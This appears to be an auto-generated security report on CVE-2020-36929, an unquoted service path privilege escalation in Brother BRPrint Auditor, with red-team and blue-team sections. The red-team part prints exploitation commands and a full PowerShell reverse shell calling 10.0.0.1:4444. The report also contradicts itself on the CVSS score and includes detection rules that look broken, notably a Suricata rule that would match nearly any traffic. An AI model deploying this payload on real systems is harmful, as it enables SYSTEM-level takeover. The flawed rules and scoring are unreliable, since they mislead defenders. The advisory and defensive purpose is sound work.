CVE-2020-36929

Executive Summary

CVE-2020-36929 is a local privilege escalation vulnerability affecting Brother BRPrint Auditor version 3.0.7. The vulnerability stems from an unquoted service path in the Windows service configurations for BrAuSvc and BRPA_Agent. This flaw allows a local attacker with low privileges to inject a malicious executable into the unquoted path, which the Windows Service Control Manager will execute with SYSTEM privileges. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high risk due to the ease of exploitation and potential for full system compromise. No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Exploitation requires local access but no user interaction, and the attacker can gain SYSTEM privileges.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue. Windows services are configured with a path to the executable binary. If the path contains spaces and is not enclosed in quotes, the Service Control Manager (SCM) will interpret the path ambiguously. For example, if the service path is C:\Program Files\Brother\BRPrint Auditor\BrAuSvc.exe, the SCM will attempt to execute the first space-delimited token as the executable. An attacker can place a malicious executable named Program.exe or Brother.exe in a higher directory (e.g., C:\Program.exe) that will be executed instead of the intended binary.

In this case, the vulnerable services are:

• BrAuSvc (Brother BRPrint Auditor Service)
• BRPA_Agent (Brother BRPrint Agent)

Both services run with SYSTEM privileges, so successful exploitation grants the attacker full control over the system.

Vulnerable vs. Patched Code

Vulnerable Configuration (Unquoted Service Path): The service binary path is stored in the Windows registry without quotes. For example:

HKLM\SYSTEM\CurrentControlSet\Services\BrAuSvc
ImagePath: C:\Program Files\Brother\BRPrint Auditor\BrAuSvc.exe

Patched Configuration (Quoted Service Path): A patched version would enclose the path in double quotes:

ImagePath: "C:\Program Files\Brother\BRPrint Auditor\BrAuSvc.exe"

No official patch has been released by Brother. The only mitigation is to manually add quotes to the registry entries or remove the vulnerable services.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with BRPrint Auditor 3.0.7 installed.
• Low-privileged user account.

Exploitation Steps:

1. Identify the unquoted service paths:

   wmic service get name,pathname | findstr /i "BrAuSvc BRPA_Agent"
   

2. Create a malicious executable (e.g., Program.exe) that spawns a reverse shell or adds a user to the Administrators group.
3. Place the executable in a directory that will be resolved first (e.g., C:\Program.exe).
4. Restart the service or wait for system reboot:

   sc stop BrAuSvc
   sc start BrAuSvc
   

5. The malicious executable runs with SYSTEM privileges.

Example Malicious Payload (PowerShell reverse shell):

# Save as Program.exe (compiled or using PowerShell)
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team

Detection Steps:

1. Monitor for service path modifications in registry:

   HKLM\SYSTEM\CurrentControlSet\Services\BrAuSvc
   HKLM\SYSTEM\CurrentControlSet\Services\BRPA_Agent
   

2. Look for unexpected executables in C:\, C:\Program, or C:\Program Files\Brother directories.
3. Audit service configurations for unquoted paths using PowerShell:

   Get-WmiObject win32_service | Where-Object { $_.PathName -notmatch '^".*"' -and $_.PathName -match ' ' }
   

4. Enable Windows Event Logging for service start/stop events (Event ID 7036, 7045).

Indicators of Compromise (IOCs)

• File Indicators:

  • C:\Program.exe (or similar name in root or subdirectories)
  • C:\Program Files\Brother.exe
  • Any executable placed in directories that are part of the unquoted path resolution order.

• Registry Indicators:

  • Unquoted ImagePath values for BrAuSvc or BRPA_Agent services.

• Process Indicators:

  • Unexpected processes running from C:\Program.exe or similar paths.
  • Service BrAuSvc or BRPA_Agent starting from an unexpected binary.

• Network Indicators:

  • Outbound connections from Program.exe to unknown IPs (if reverse shell used).

Detection Engineering

YARA Rule

rule Unquoted_Service_Path_Brother {
    meta:
        description = "Detects unquoted service path for Brother BRPrint Auditor services"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36929"
    strings:
        $reg_path = "BrAuSvc" nocase
        $reg_path2 = "BRPA_Agent" nocase
        $unquoted = /ImagePath\s*=\s*[^"]\S*\s/
    condition:
        ($reg_path or $reg_path2) and $unquoted
}

Sigma Rule

title: Unquoted Service Path Exploitation - Brother BRPrint Auditor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of executables in directories that could be exploited via unquoted service paths for Brother services.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36929
author: Valters IT
date: 2025/04/10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith:
            - 'C:\Program.exe'
            - 'C:\Program Files\Brother.exe'
            - 'C:\Program Files\Brother\BRPrint Auditor.exe'
    condition: selection
falsepositives:
    - Legitimate software installations in these paths (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $PORT (msg:"CVE-2020-36929 Brother BRPrint Auditor Potential Reverse Shell"; flow:to_server,established; content:"|0d 0a|"; within:100; reference:cve,2020-36929; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually add quotes to the service binary paths in the registry:
   • Open regedit and navigate to HKLM\SYSTEM\CurrentControlSet\Services\BrAuSvc
   • Change ImagePath to "C:\Program Files\Brother\BRPrint Auditor\BrAuSvc.exe"
   • Repeat for BRPA_Agent.
2. Restart the services or reboot the system.

Long-term Mitigation:

• Uninstall BRPrint Auditor if not required.
• Monitor for vendor updates (though none are expected).
• Implement application whitelisting to prevent unauthorized executables from running.
• Use Group Policy to enforce secure service configurations.

Valters IT Signature:

Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters-it.com.